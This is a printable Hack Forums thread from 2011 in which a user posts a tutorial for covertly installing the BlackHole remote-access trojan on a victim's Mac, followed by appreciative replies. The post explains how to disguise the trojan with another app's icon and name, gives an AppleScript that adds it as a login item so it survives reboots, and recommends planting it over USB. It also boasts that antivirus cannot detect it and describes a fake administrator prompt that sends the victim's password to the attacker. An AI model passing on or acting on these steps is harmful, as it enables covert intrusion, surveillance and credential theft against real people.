Hack Forums
[TuT] How to successfully RAT a Mac [Detailed] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat β€’ Purple Team β€’ Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [TuT] How to successfully RAT a Mac [Detailed] (/showthread.php?tid=967877)

Pages: Pages 1 2 3 4 5 6 7 8


[TuT] How to successfully RAT a Mac [Detailed] - Das_Virus - Jan 11, 2011

So this will be a Tutorial about RATing a MAC. I write this Tutorial because there are not so much tutorials out there for Mac users. I hope i can help you with thisπŸ‘

The first step is to get the RAT you want to install on the Victims Machine.

Step 1: Finding the RAT

I know 2 RATs for OSX which are really good.

1. Hell Raiser 4.2
2. BlackHole RAT


Here is the Tutorial for the Hell Raiser RAT: click

I will write a Tutorial on how to use the BlackHole RAT.

Download it from here: Mediafire

Step 2: Setting up the RAT

When you have downloaded the RAT, unpack it and copy it to your Desktop. DO NOT RUN THE SERVER!!!!
The Server will have the default App Icon. to change that, clinck on the Server and press cmd+i. An Information Window will pop up and in the left upper corner you will see the Icon. Now open up the information Window from another Application like Safari and click on the Icon in the corner, then press cmd+c.

When you have done that, click on the icon of the Server and hit cmd+v.

Now you can close the information Window and the Server shoul have the same icon as the the other Application.

You can also change the Name to something you want.

Step 3: Creating the Startup Script

If you want that the Server will be started on every Boot, you have to add it to the Startup Items. to do so, you can buil a simple Apple Script.

1. Open up Script Editor
2. Tipe in the following command:

Quote:set apppath to "/path/to/application.app"
tell application "System Events"
make login item at end with properties {path:apppath, hidden:false}
end tell


change "path/to/application.app" to the path where you will place the Server.
3. Save as Programm

Now when you have done that, you are finished with the setup of the RAT.πŸ‘

Step 4: Infecting the Victim

Now there are many ways you can place the RAT on the victims Computer, but the best is over USB. So place the Server on a save place and run the AppleScript, then run the Server itself.

Now you have succsessfully infected the Mac Computer, the Server will run in the background, you can only kill it over the activitys Window. This RAT is FUD, no Virus System will be able to save your victim from it!πŸ€—

So go back to your Computer and run the Client. (Client works for Mac and Windows!!)

Step 5: Connecting to the Server

Run the Client, there will be a Noob-Protection. Enter "PassAufWasDuMachst!" without quotes and press "Let me in..."

Now you are in the mainwindow of the Client. Fill in the Victims IP Address and yours and click Connect.

Now you have the following functions:

- Shell (with the actually logged in User privileges)
- Open Webpage with default Web Browser
- Send a Message which will be displayed on the Victims Screen
- Create a Text file on the Victims Desktop
- Shutdown, Restart and Sleep
- Request Admin Login (This will display a faked request for Admin privileges and send you the name and password)

Here are some Pics:

The main Window:
[img]http://img25.imageshack.us/img25/2096/bild1sr.png[/img]

More functions:
[img]http://img534.imageshack.us/img534/3714/bild2s.png[/img]

The sended Message:
[img]http://img87.imageshack.us/img87/7633/bild3vj.png[/img]

The faked Admin login:
[img]http://img706.imageshack.us/img706/852/bild4dj.png[/img]

And here the Shell:
[img]http://img534.imageshack.us/img534/8267/bild5f.png[/img]

I hope i can help you with this. If you have any Questions to the BlackHole RAT feel free to Post them.


* - mad me ye - Jan 11, 2011

provide screenshots from nothanksvirus for the download for other people.


* - Das_Virus - Jan 11, 2011

I will add them.. in a few minutes you have them..

Novirusthanks Scan: click

VirusTotal Scan: click


* - Permanent - Jan 11, 2011

Im having trouble working with this rat can you help :]


* - Das_Virus - Jan 11, 2011

Yea add me msn [email protected]


* - Sahasrara - Jan 11, 2011

thank you thats a good thread


* - Permanent - Jan 11, 2011

It wont let me add you. :(. Add me [email protected].



* - Das_Virus - Jan 11, 2011

(Jan 11, 2011 11:22 AM)Grinch204 Wrote:  It wont let me add you. :(. Add me [email protected].

added you.

(to short short short...)


* - Permanent - Jan 11, 2011

:) Thanks. After a bit of explanation he helped me out with my problems. +1 :D


* - Developer - Jan 11, 2011

First Mac + RAT tutorial I have seen. Good job man. 5 star.


* - mistermacbook - Jan 22, 2011

thanks for this, it's awesome dude ;)


* - Das_Virus - Jan 23, 2011

(Jan 22, 2011 09:07 AM)mistermacbook Wrote:  thanks for this, it's awesome dude ;)

Thanks! πŸ€—

If you have any ideas what features i could add please post them. πŸ‘


* - Fafaffy - Jan 23, 2011

Grammar error in administrator password request...


* - Das_Virus - Jan 23, 2011

(Jan 23, 2011 09:32 AM)Fafaffy Wrote:  Grammar error in administrator password request...

Srry my english is not so good..


* - Ace of Spβ™ des - Jan 23, 2011

Would I be able to remove the infection from my slave computer?